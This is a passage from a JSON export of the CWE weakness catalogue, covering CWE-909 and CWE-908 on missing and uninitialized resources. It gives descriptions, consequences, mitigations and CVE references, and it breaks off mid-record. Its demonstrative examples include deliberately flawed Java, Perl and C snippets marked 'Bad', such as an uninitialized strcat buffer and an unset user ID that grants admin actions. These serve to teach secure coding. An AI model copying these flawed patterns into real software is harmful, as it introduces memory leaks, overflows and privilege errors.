"Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "Suggested OWASP Top Ten 2004 mapping"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Other_Notes, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-10-14", "Modification_Version": "1.0.1", "Modification_ReleaseDate": "2008-10-14", "Modification_Comment": "updated Maintenance_Notes, Other_Notes, Theoretical_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Related_Attack_Patterns, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name, References"}], "Previous_Entry_Name": {"@Date": "2026-10-28", "#text": "XML Injection (aka Blind XPath Injection)"}}, "entry_type": "Weakness", "ranking": 189.0}, {"@ID": "909", "@Name": "Missing Initialization of Resource", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product does not initialize a critical resource.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1003", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "908", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Background_Details": {"Background_Detail": "Many resources require initialization before they can be properly used."}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Other", "Impact": "Varies by Context", "Note": "If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values."}, {"Scope": "Confidentiality", "Impact": ["Read Memory", "Read Application Data"], "Note": "When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party."}, {"Scope": "Availability", "Impact": "DoS: Crash, Exit, or Restart", "Note": "The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps."]}, {"Phase": "Implementation", "Description": ["Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization."]}, {"Phase": "Implementation", "Description": ["Avoid race conditions (CWE-362) during initialization routines."]}, {"Phase": "Build and Compilation", "Description": ["Run or compile your product with settings that generate warnings about uninitialized variables or data."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-105", "Intro_Text": "Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": "// perform initialization tasks", "#text": "...\n                                 initialized = true;"}}, "#text": "if (!initialized) {}"}}, "#text": "private boolean initialized = true;public void someMethod() {"}, "#text_blocks": ["private boolean initialized = true;", "public void someMethod() {", "if (!initialized) {", "// perform initialization tasks", "...", "initialized = true;", "}"]}}, {"@Demonstrative_Example_ID": "DX-54", "Intro_Text": "The following code intends to limit certain operations to the administrator only.", "Example_Code": {"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "$uid = ExtractUserID($state);"}, {"@style": "margin-left:1em;", "#text": "DoAdminThings();"}], "xhtml:i": "# do stuff", "#text": "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {}\n                     \n                     \n                     if ($uid == 0) {}"}, "#text_blocks": ["$username = GetCurrentUser();", "$state = GetStateData($username);", "if (defined($state)) {", "$uid = ExtractUserID($state);", "}", "# do stuff", "if ($uid == 0) {", "DoAdminThings();", "}"]}, "Body_Text": "If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."}, {"Intro_Text": "The following code intends to concatenate a string to a variable and print the string.", "Example_Code": {"@Nature": "Bad", "@Language": "C", "xhtml:div": {"xhtml:br": [null, null], "#text": "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"}, "#text_blocks": ["char str[20];", "strcat(str, \"hello world\");", "printf(\"%s\", str);"]}, "Body_Text": ["This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.", "If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.", "If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."]}, {"@Demonstrative_Example_ID": "DX-144", "Intro_Text": "This example will leave test_string in an\n\t\t\t  unknown condition when i is the same value as err_val,\n\t\t\t  because test_string is not initialized\n\t\t\t  (CWE-456). Depending on where this code segment appears\n\t\t\t  (e.g. within a function body), test_string might be\n\t\t\t  random if it is stored on the heap or stack. If the\n\t\t\t  variable is declared in static memory, it might be zero\n\t\t\t  or NULL. Compiler optimization might contribute to the\n\t\t\t  unpredictability of this address.", "Example_Code": [{"@Nature": "Bad", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string;\n                if (i != err_val)\n                {\n                \n                }\n                printf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string = \"Done at the beginning\";\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string = \"Done at the beginning\";", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, {"@style": "margin-left:1em;", "#text": "test_string = \"Done on the other side!\";"}], "#text": "char *test_string;\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "else {", "test_string = \"Done on the other side!\";", "}", "printf(\"%s\", test_string);"]}], "Body_Text": [{"xhtml:p": ["When the printf() is reached,\n              test_string might be an unexpected address, so the\n              printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t  making sure that test_string has been properly set once\n\t\t\t  it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t  acceptable default before the conditional:"], "#text_blocks": ["When the printf() is reached,\n              test_string might be an unexpected address, so the\n              printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t  making sure that test_string has been properly set once\n\t\t\t  it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t  acceptable default before the conditional:"]}, "Another solution is to ensure that each\n\t\t\t  branch of the conditional - including the default/else\n\t\t\t  branch - could ensure that test_string is set:"]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2020-20739", "Description": "A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-20739"}, {"Reference": "CVE-2005-1036", "Description": "Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1036"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21", "Submission_Comment": "New weakness based on discussion on the CWE research list in December 2012."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Mapping_Notes, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Demonstrative_Examples, Description"}]}, "entry_type": "Weakness", "ranking": 96.0}, {"@ID": "908", "@Name": "Use of Uninitialized Resource", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses or accesses a resource that has not been initialized.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Memory", "Read Application Data"], "Note": "When reusing a resource such as memory or a program variable, the original contents may not have been cleared before it is sent to an untrusted party."}, {"Scope": "Availability", "Impact": ["DoS: Crash, Exit, or Restart", "DoS: Instability"], "Note": "The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend, possibly leading to a crash."}, {"Scope": "Other", "Impact": ["Unexpected State", "Varies by Context"], "Note": "The consequences vary depending on the type of resource and how it is used within the product."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps."]}, {"Phase": "Implementation", "Description": ["Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization."]}, {"Phase": "Implementation", "Description": ["Avoid race conditions (CWE-362) during initialization routines."]}, {"Phase": "Build and Compilation", "Description": ["Run or compile the product with settings that generate warnings about uninitialized variables or data."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-105", "Intro_Text": "Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": "// perform initialization tasks", "#text": "...\n                                 initialized = true;"}}, "#text": "if (!initialized) {}"}}, "#text": "private boolean initialized = true;public void someMethod() {"}, "#text_blocks": ["private boolean initialized = true;", "public void someMethod() {", "if (!initialized) {", "// perform initialization tasks", "...", "initialized = true;", "}"]}}, {"@Demonstrative_Example_ID": "DX-54", "Intro_Text": "The following code intends to limit certain operations to the administrator only.", "Example_Code": {"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "$uid = ExtractUserID($state);"}, {"@style": "margin-left:1em;", "#text": "DoAdminThings();"}], "xhtml:i": "# do stuff", "#text": "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {}\n                     \n                     \n                     if ($uid == 0) {}"}, "#text_blocks": ["$username = GetCurrentUser();", "$state = GetStateData($username);", "if (defined($state)) {", "$uid = ExtractUserID($state);", "}", "# do stuff", "if ($uid == 0) {", "DoAdminThings();", "}"]}, "Body_Text": "If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."}, {"@Demonstrative_Example_ID": "DX-106", "Intro_Text": "The following code intends to concatenate a string to a variable and print the string.", "Example_Code": {"@Nature": "Bad", "@Language": "C", "xhtml:div": {"xhtml:br": [null, null], "#text": "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"}, "#text_blocks": ["char str[20];", "strcat(str, \"hello world\");", "printf(\"%s\", str);"]}, "Body_Text": ["This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.", "If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.", "If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."]}, {"@Demonstrative_Example_ID": "DX-144", "Intro_Text": "This example will leave test_string in an\n\t\t\t  unknown condition when i is the same value as err_val,\n\t\t\t  because test_string is not initialized\n\t\t\t  (CWE-456). Depending on where this code segment appears\n\t\t\t  (e.g. within a function body), test_string might be\n\t\t\t  random if it is stored on the heap or stack. If the\n\t\t\t  variable is declared in static memory, it might be zero\n\t\t\t  or NULL. Compiler optimization might contribute to the\n\t\t\t  unpredictability of this address.", "Example_Code": [{"@Nature": "Bad", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string;\n                if (i != err_val)\n                {\n                \n                }\n                printf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string = \"Done at the beginning\";\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string = \"Done at the beginning\";", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, {"@style": "margin-left:1em;", "#text": "test_string = \"Done on the other side!\";"}], "#text": "char *test_string;\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "else {", "test_string = \"Done on the other side!\";", "}", "printf(\"%s\", test_string);"]}], "Body_Text": [{"xhtml:p": ["When the printf() is reached,\n              test_string might be an unexpected address, so the\n              printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t  making sure that test_string has been properly set once\n\t\t\t  it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t  acceptable default before the conditional:"], "#text_blocks": ["When the printf() is reached,\n              test_string might be an unexpected address, so the\n              printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t  making sure that test_string has been properly set once\n\t\t\t  it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t  acceptable default before the conditional:"]}, "Another solution is to ensure that each\n\t\t\t  branch of the conditional - including the default/else\n\t\t\t  branch - could ensure that test_string is set:"]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2019-9805", "Description": "Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-9805"}, {"Reference": "CVE-2008-4197", "Description": "Use of uninitialized memory may allow code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4197"}, {"Reference": "CVE-2008-2934", "Description": "Free of an uninitialized pointer leads to crash and possible code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2934"}, {"Reference": "CVE-2008-0063", "Description": "Product does not clear memory contents when generating an error message, leading to information leak.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0063"}, {"Reference": "CVE-2008-0062", "Description": "Lack of initialization triggers NULL pointer dereference or double-free.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0062"}, {"Reference": "CVE-2008-0081", "Description": "Uninitialized variable leads to code execution in popular desktop application.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0081"}, {"Reference": "CVE-2008-3688", "Description": "Chain: Uninitialized variable leads to infinite loop.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3688"}, {"Reference": "CVE-2008-3475", "Description": "Chain: Improper initialization leads to memory corruption.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3475"}, {"Reference": "CVE-2005-1036", "Description": "Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1036"}, {"Reference": "CVE-2008-3597", "Description": "Chain: game server can access player data structures before initialization has happened leading to NULL dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3597"}, {"Reference": "CVE-2009-2692", "Description": "Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2692"}, {"Reference": "CVE-2009-0949", "Description": "Chain: improper initialization of memory can lead to NULL dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0949"}, {"Reference": "CVE-2009-3620", "Description": "Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3620"}, {"Reference": "CVE-2008-5021", "Description": "Composite: race condition (CWE-362) allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory (CWE-908).", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5021"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": {"@Taxonomy_Name": "CERT C Secure Coding", "Entry_ID": "EXP33-C", "Entry_Name": "Do not read uninitialized memory", "Mapping_Fit": "CWE More Abstract"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-436"}, {"@External_Reference_ID": "REF-1534"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21", "Submission_Comment": "New weakness based on discussion on the CWE research list in December 2012."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": 